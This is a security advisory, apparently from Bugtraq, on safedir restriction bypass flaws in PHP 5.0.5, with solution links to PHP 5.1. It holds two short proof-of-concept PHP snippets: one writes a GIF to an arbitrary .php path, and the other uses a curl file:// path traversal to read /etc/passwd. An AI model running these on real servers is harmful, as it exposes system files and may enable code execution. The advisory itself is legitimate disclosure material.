PHP Safedir Restriction Bypass Vulnerabilities

Bugtraq ID:	15119
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 17 2005 12:00AM
Updated:	Oct 17 2005 12:00AM
Credit:	The discoverer of these vulnerabilities is currently unknown.
Vulnerable:	PHP PHP 5.0.5
Not Vulnerable:	PHP PHP 5.1

PHP Safedir Restriction Bypass Vulnerabilities

PHP is prone to multiple vulnerabilities that permit an attacker to bypass the 'safedir' directory restriction.

An attacker can exploit these vulnerabilities to possible execute arbitrary code currently existing on a vulnerable system, or to retrieve the contents of arbitrary files, all in the security context of the Web server process.

Information obtained may aid in further attacks against the affected system; other attacks are also possible.

These issues have been addressed in the latest CVS version.

PHP Safedir Restriction Bypass Vulnerabilities

No exploit is required.

The following proof of concepts are available:
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");

$file=curl_exec($ch);

echo $file;

?>

PHP Safedir Restriction Bypass Vulnerabilities

Solution:
The vendor has addressed this issue in PHP version 5.1:


PHP PHP 5.0.5

• PHP php-5.1.0.tar.bz2
  http://www.php.net/get/php-5.1.0.tar.bz2/from/a/mirror

PHP Safedir Restriction Bypass Vulnerabilities

References:

• PHP 5.1.0 ChangeLog (PHP)
  
• PHP Homepage (PHP)
  
• Proposed 5.1 Release Announcement (PHP)
  
• PHP local safedir restriction bypass ([email protected])
  
• cvs: php-src(PHP_5_2) /ext/standard html.c (Ilia Alshanetsky)